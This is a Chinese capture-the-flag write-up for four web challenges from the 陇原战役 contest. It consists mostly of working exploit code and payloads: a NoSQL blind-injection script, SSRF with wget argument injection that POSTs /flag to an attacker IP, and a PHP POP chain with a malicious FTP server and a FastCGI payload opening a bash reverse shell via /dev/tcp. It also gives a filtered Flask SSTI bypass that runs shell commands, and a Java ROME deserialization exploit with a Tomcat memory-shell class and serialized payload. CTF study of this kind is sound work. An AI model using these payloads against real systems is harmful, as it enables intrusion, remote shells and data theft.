大家还记得上此次的陇原战役比赛么?今天给大家分享一下上次比赛的Web题目WriteUP!!
审计源码:
package main import ( "fmt" "io" "time" "bytes" "regexp" "os/exec" "plugin" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" "github.com/gin-contrib/sessions" "github.com/gin-gonic/gin" "github.com/gin-contrib/sessions/cookie" "github.com/gin-contrib/multitemplate" "net/http" ) type Url struct { Url string `json:"url" binding:"required"` } type User struct { Username string Password string } const MOGODB_URI = "127.0.0.1:27017" func MiddleWare() gin.HandlerFunc { return func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "") return } c.Next() } } func loginController(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } username := c.PostForm("username") password := c.PostForm("password") if username == "" || password == "" { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "") return } conn, err := mgo.Dial(MOGODB_URI) if err != nil { panic(err) } defer conn.Close() conn.SetMode(mgo.Monotonic, true) db_table := conn.DB("ctf").C("users") result := User{} err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result) if result.Username == "" { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "") return } if username == result.Username || password == result.Password { session.Set("username", username) session.Set("password", password) session.Save() c.Redirect(http.StatusFound, "/home") return } else { c.Header("Content-Type", "text/html; charset=utf-8") c.String(200, "") return } } func proxyController(c *gin.Context) { var url Url if err := c.ShouldBindJSON(&url); err != nil { c.JSON(500, gin.H{"msg": err}) return } re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff") if re.MatchString(url.Url) { c.JSON(403, gin.H{"msg": "Url Forbidden"}) return } client := &http.Client{Timeout: 2 * time.Second} resp, err := client.Get(url.Url) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } defer resp.Body.Close() var buffer [512]byte result := bytes.NewBuffer(nil) for { n, err := resp.Body.Read(buffer[0:]) result.Write(buffer[0:n]) if err != nil && err == io.EOF { break } else if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } } c.JSON(http.StatusOK, gin.H{"data": result.String()}) } func getController(c *gin.Context) { cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...) err := cmd.Run() if err != nil { fmt.Println("error: ", err) } c.String(http.StatusOK, "Nothing") } func createMyRender() multitemplate.Renderer { r := multitemplate.NewRenderer() r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl") r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl") return r } func main() { router := gin.Default() router.Static("/static", "./static") p, err := plugin.Open("sess_init.so") if err != nil { panic(err) } f, err := p.Lookup("Sessinit") if err != nil { panic(err) } key := f.(func() string)() storage := cookie.NewStore([]byte(key)) router.Use(sessions.Sessions("mysession", storage)) router.HTMLRender = createMyRender() router.MaxMultipartMemory = 8 << 20 router.GET("/", func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } else { c.Redirect(http.StatusFound, "/login") return } }) router.GET("/login", func(c *gin.Context) { session := sessions.Default(c) if session.Get("username") != nil { c.Redirect(http.StatusFound, "/home") return } c.HTML(200, "login", gin.H{ "title": "CheckIn", }) }) router.GET("/home", MiddleWare(), func(c *gin.Context) { c.HTML(200, "home", gin.H{ "title": "CheckIn", }) }) router.POST("/proxy", MiddleWare(), proxyController) router.GET("/wget", getController) router.POST("/login", loginController) _ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
审计源码我们可知,存在nosql注入,编写脚本盲注admin的密码:
import requests url = "http://47.117.125.220:8081/login" headers = { "Content-Type": "application/x-www-form-urlencoded" } strings = "1234567890abcdefghijklmnopqrstuvwxyz" res = "" for i in range(len(res) + 1, 40): if len(res) == i - 1: for c in strings: data = { "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//", "password": "123456" } r = requests.post(url=url, headers=headers, data=data) if "Pretend" in r.text: res = c + res print("[+] " + res) break else: print("[-] Failed") break
得到admin的明文密码为:
54a83850073b0f4c6862d5a1d48ea84f
然后直接登陆admin:
然后发现 /proxy 路由存在 ssrf:
func proxyController(c *gin.Context) { var url Url if err := c.ShouldBindJSON(&url); err != nil { c.JSON(500, gin.H{"msg": err}) return } re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff") if re.MatchString(url.Url) { c.JSON(403, gin.H{"msg": "Url Forbidden"}) return } client := &http.Client{Timeout: 2 * time.Second} resp, err := client.Get(url.Url) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } defer resp.Body.Close() var buffer [512]byte result := bytes.NewBuffer(nil) for { n, err := resp.Body.Read(buffer[0:]) result.Write(buffer[0:n]) if err != nil && err == io.EOF { break } else if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } } c.JSON(http.StatusOK, gin.H{"data": result.String()}) }
可以访问使用[::]
绕过对127.0.0.1的限制然后访问内网。
并且 /wget 路由可以调用 wget 来发送请求,并且我们对其参数可控,那我们可以传入恶意的参数来获取服务器上的文件并外带出来。
所以最终的 payload 如下:
POST: /proxy {"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}
如下图,得到flag:
题目给了源码:
hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } } class Welcome { public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } } if (isset($_GET['code'])) { unserialize($_GET['code']); } else { highlight_file(__FILE__); }
首先我们发现了file_put_contents,所以首先想到的是写文件,但是这里我做了权限设置,你写不了。
除此之外,我们发现还有一个 Hint 类:
class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } }
我们尝试反序列化读取 phpinfo:
class Hint { } echo serialize(new Hint()); // O:4:"Hint":0:{}
发送payload发现执行不了:
这是因为__wakeup
会比__destruct
优先执行,所以我们要绕过这里的__wakeup
,这里我们需要用“Serializable” 的特性绕过__wakeup
,详情请看:PHP :: Bug #81151 :: bypass __wakeup
就是将 O
改为 C
:
C:4:"Hint":0:{}
如下所示,成功执行 phpinfo:
并且发现当前环境为 FPM/FastCGI。
然后就是通过 file_put_contents 配合 ftp 打内网的fpm 了。
首先使用 Gopherus 生成 Payload:
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后在 VPS 上运行以下脚本,搭建一个恶意的 FTP 服务器:
# evil_ftp.py import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 233)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close()
开启 nc 监听,等待反弹shell:
然后构造 pop 链触发 Bunny 类中的file_put_contents就行了:
hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } } class Welcome { public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { throw new Error("Error"); } } } $esle = new Esle(); // 0 $poc = new Bypass(); $poc->str4 = new Welcome(); $poc->str4->username = new Bunny(); $poc->str4->username->filename = "ftp://[email protected]:233/123"; echo urlencode(serialize([$esle,$poc])); // a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D
最后构造请求发送即可反弹shell了:
/?code=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.220/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
成功得到flag。
进入题目,是一个可以发送邮件的页面:
发送之前需要去 Settings 中设置你的邮件服务器信息,只能设置host和port:
没法设置用户名和密码。我们可以在自己服务器上用python开一个smtp服务:
python3 -m smtpd -c DebuggingServer -n 0.0.0.0:2333
然后将你的ip和端口填入 settings 中即可:
此时便可以用 /home 路由处来发送邮件了。由于题目的环境是flask,所以我们可以在邮件的 text 中测试 ssti:
点击发送,此时你的服务器上便可拦截到发送的邮件信息:
解base64即可得到以下内容:
如上图可见,确实进行了 6*9 运算,所以确实存在ssti。并且我们可以通过 服务器外带来得到注入的结果。
经测试,题目针对ssti过滤了以下字符:
'class', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'u', '.', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', ' ', '_'
相关绕过方法可以查看该文章:https://xz.aliyun.com/t/9584#toc-28
我们可以用 attr 配合 hex 编码键绕过,最终的 payload如下:
{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("ls\x20/")|attr("read")()}}
读取flag:
{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("cat\x20/flag")|attr("read")()}}
考察点:反序列化之后的利用,不出网回显。
注意/BackDoor路由有一个反序列化点的,本来想ban一些rome组件触发的类,结果没有ban完,导致hashset和hashtable可以来绕过直接,反序列化执行代码。
但是该题考察点是反序列化之后的利用,也就是添加了一个toString操作。
所以exp
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import javax.xml.transform.Templates; import java.io.File; import java.nio.file.Files; public class exp { public static void main(String[] args) throws Exception { //TemplatesImpl templates = SerializeUtil.generateTemplatesImpl(); byte[] bytecodes = Files.readAllBytes(new File("EvilClass.class").toPath()); TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(bytecodes); ObjectBean delegate = new ObjectBean(Templates.class, tmpl); System.out.println(tools.base64Encode(tools.serialize(delegate))); } }
EvilClass.java
package com.tctffinal.demo.exp2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class EvilClass extends AbstractTranslet { public EvilClass() { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i=0;i POST /BackDoor HTTP/1.1 Host: ip:port cmd: cat /flag Content-Type: application/x-www-form-urlencoded Content-Length: 9646 ctf=rO0ABXNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5PYmplY3RCZWFugpkH3nYElEoCAANMAA5fY2xvbmVhYmxlQmVhbnQALUxjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9DbG9uZWFibGVCZWFuO0wAC19lcXVhbHNCZWFudAAqTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0VxdWFsc0JlYW47TAANX3RvU3RyaW5nQmVhbnQALExjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9Ub1N0cmluZ0JlYW47eHBzcgArY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuQ2xvbmVhYmxlQmVhbt1hu8UzT2t3AgACTAARX2lnbm9yZVByb3BlcnRpZXN0AA9MamF2YS91dGlsL1NldDtMAARfb2JqdAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAeamF2YS51dGlsLkNvbGxlY3Rpb25zJEVtcHR5U2V0FfVyHbQDyygCAAB4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAAGFjK/rq%2bAAAAMwE8CgBGAJ0HAJ4IAJ8KAKAAoQcAoggAowcApAgApQcApggApwoAoACoCgCpAKoKAKsAqgoArACtCgCsAK4HAK8KABAAsAsAsQCyCgCpALMHALQKABQAtQoAtgC3CgAtALgKALYAuQcAugoAoAC7CgCgALwIAL0HAL4IAL8KAKsAwAcAwQsAIADCCwAgAMMHAMQIAE4KACMAxQoAIwDGBwDHCADICgDJAMoKAC0AywgAzAoALQDNBwDOCADPCADQCADRCADSCgDTANQKANMA1QoA1gDXBwDYCgA1ANkIANoKADUA2woANQDcCgA1AN0IAN4KACcA3woA4ADhCgDiAOMIAFsJAOQA5QoAqQDmCgDnAOgKAOcA6QcA6gcA6wcA7AEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAt0ZW1wUmVxdWVzdAEAG0xvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDsBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAZ3cml0ZXIBABBMamF2YS9pby9Xcml0ZXI7AQALdXNpbmdXcml0ZXIBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQABawEAAUkBAAtnbG9iYWxGaWVsZAEAD3Byb2Nlc3NvcnNGaWVsZAEAEHJlcXVlc3RHcm91cEluZm8BACRMb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdEdyb3VwSW5mbzsBAARsaXN0AQAQTGphdmEvdXRpbC9MaXN0OwEAAWoBAAdjbGFzc2VzAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAPcHJvdG9jb2xIYW5kbGVyAQAjTG9yZy9hcGFjaGUvY295b3RlL1Byb3RvY29sSGFuZGxlcjsBAAFpAQAMY29udGV4dEZpZWxkAQAMc2VydmljZUZpZWxkAQAMcmVxdWVzdEZpZWxkAQAQZ2V0SGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAVd2ViYXBwQ2xhc3NMb2FkZXJCYXNlAQAyTG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9hZGVyL1dlYmFwcENsYXNzTG9hZGVyQmFzZTsBABJhcHBsaWNhdGlvbkNvbnRleHQBAC1Mb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dDsBAA9zdGFuZGFyZFNlcnZpY2UBACpMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkU2VydmljZTsBAApjb25uZWN0b3JzAQAqW0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9Db25uZWN0b3I7AQAEdGhpcwEAI0xjb20vdGN0ZmZpbmFsL2RlbW8vZXhwMi9FdmlsQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQcA6wcA7QcA7gcArwcAogcAtAcAdwcA7wcAZwcAvgcAwQcAxAcAzgcAxwcAUwcA8AcA2AcA6gEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDxAQAQTWV0aG9kUGFyYW1ldGVycwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDABHAEgBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0AQAHY29udGV4dAcA8gwA8wD0AQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dAEAB3NlcnZpY2UBAB1vcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0SW5mbwEAA3JlcQEAIm9yZy9hcGFjaGUvY295b3RlL0Fic3RyYWN0UHJvdG9jb2wBAApnZXRIYW5kbGVyDAD1APYHAO0MAPcA%2bAcA7gcA%2bQwA%2bgD7DAD8AP0BADBvcmcvYXBhY2hlL2NhdGFsaW5hL2xvYWRlci9XZWJhcHBDbGFzc0xvYWRlckJhc2UMAP4A/wcBAAwBAQECDAEDAQQBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRTZXJ2aWNlDAEFAQYHAQcMAQgBCQwBCgELDAEMAQ0BAC9vcmcvYXBhY2hlL2NveW90ZS9odHRwMTEvQWJzdHJhY3RIdHRwMTFQcm90b2NvbAwBDgEPDAEQAQkBAAZnbG9iYWwBACJvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0R3JvdXBJbmZvAQAKcHJvY2Vzc29ycwwBEQESAQAOamF2YS91dGlsL0xpc3QMARMBCwwBAwEUAQAZb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdAwBFQEWDAEXARQBACVvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0AQAHb3MubmFtZQcBGAwBGQEWDAEaAQkBAAN3aW4MARsBHAEAEGphdmEvbGFuZy9TdHJpbmcBAAJzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwEdDAEeAR8MASABIQcBIgwBIwEkAQARamF2YS91dGlsL1NjYW5uZXIMAEcBJQEAAlxhDAEmAScMASgBKQwBKgEJAQAADAErASwHAS0MAS4BLwcBMAwBMQEyBwEzDAE0ATUMATYBNwcBOAwBOQE6DAE7AEgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAhY29tL3RjdGZmaW5hbC9kZW1vL2V4cDIvRXZpbENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAhb3JnL2FwYWNoZS9jb3lvdGUvUHJvdG9jb2xIYW5kbGVyAQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMZ2V0UmVzb3VyY2VzAQAnKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZmluZENvbm5lY3RvcnMBACwoKVtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvQ29ubmVjdG9yOwEAJ29yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL0Nvbm5lY3RvcgEACWdldFNjaGVtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQASZ2V0UHJvdG9jb2xIYW5kbGVyAQAlKClMb3JnL2FwYWNoZS9jb3lvdGUvUHJvdG9jb2xIYW5kbGVyOwEAEmdldERlY2xhcmVkQ2xhc3NlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0TmFtZQEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAB2dldE5vdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAC2dldFJlc3BvbnNlAQAqKClMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7AQAmb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9PYmplY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvQm9vbGVhbgEABUZBTFNFAQATTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEADmphdmEvaW8vV3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAAhAEUARgAAAAAAAwABAEcASAABAEkAAATvAAQAGwAAAfsqtwABEgISA7YABEwSBRIGtgAETRIHEgi2AAROEgkSCgG2AAs6B